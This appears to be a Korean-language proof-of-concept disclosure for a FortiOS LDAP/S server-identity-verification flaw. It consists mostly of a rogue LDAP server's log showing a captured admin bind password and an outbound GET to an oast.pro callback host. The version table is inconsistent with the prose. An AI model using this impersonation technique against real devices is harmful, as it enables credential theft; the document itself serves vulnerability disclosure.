
FortiOS v6.0.x ~ v6.2.0의 LDAP 기본 구성은 LDAP/S에 대해 서버 ID를 확인하지 않아 MITM 공격이 발생할 수 있습니다. 이 PoC는 쉽게 사칭될 수 있는 LDAP 서버로 로컬 서브넷에서 전송된 자격 증명의 전체 유출을 시연합니다.
이 개념 증명(PoC)은 MITM(중간자 공격)을 시연합니다: 취약한 버전의 FortiOS를 실행하는 FortiGate 장치의 로컬 서브넷에서 LDAP 서버를 사칭하는 공격입니다.
다음 버전이 취약합니다:
| 버전 | 영향 | 해결 방법 |
|---|
| FortiOS 7.0 | 영향 없음 | 해당 없음 |
| FortiOS 6.0 | 6.0.3 ~ 6.2.0 | 6.2.1 이상으로 업그레이드 |
PoC에는 VMware Fusion 내에서 실행되는 FortiOS 6.2.0이 사용되었습니다.
[2025-10-16 22:59:47.366765] New connection from 192.168.43.24:54789
--- Request #1 ---
BIND Request:
Message ID: 1
DN: cn=admin,dc=example,dc=com
Password: ldapAdMiNPassw0rd!
-> Sent BIND Response (Success)
--- Request #2 ---
SEARCH Request:
Message ID: 2
Base DN: dc=example,dc=com
Filter:
cn
nLBkcjDTHC01.1...
-> Sent SEARCH Result Entry
-> Sent SEARCH Result Done
--- Request #3 ---
BIND Request:
Message ID: 3
DN: dc=example,dc=com
Password: d3omljs2kel69tn1dun0m4mykgw1uafyz.oast.pro
🔑 CAPTURED PASSWORD: d3omljs2kel69tn1dun0m4mykgw1uafyz.oast.pro
🔧 No scheme found — prepending https:// -> https://d3omljs2kel69tn1dun0m4mykgw1uafyz.oast.pro
📡 Attempting GET request to: https://d3omljs2kel69tn1dun0m4mykgw1uafyz.oast.pro
✅ GET request successful! Status code: 200
-> Sent BIND Response (Success)
--- Request #4 ---
SEARCH Request:
Message ID: 4
Base DN: dc=example,dc=com
Filter:
objectclass0memberOfprimaryG...
-> Sent SEARCH Result Entry
-> Sent SEARCH Result Done
--- Request #5 ---
[2025-10-16 22:59:49.159193] Connection closed from 192.168.43.24:54789
============================================================
SESSION SUMMARY - Captured Password: d3omljs2kel69tn1dun0m4mykgw1uafyz.oast.pro
============================================================
FortiOS v6.0.x ~ v6.2.0의 LDAP 기본 구성은 LDAP/S에 대해 서버 ID를 확인하지 않아 MITM 공격으로 이어집니다. 이 PoC는 로컬 서브넷에서 쉽게 사칭할 수 있는 LDAP 서버로 전송된 자격 증명의 완전한 유출을 시연합니다.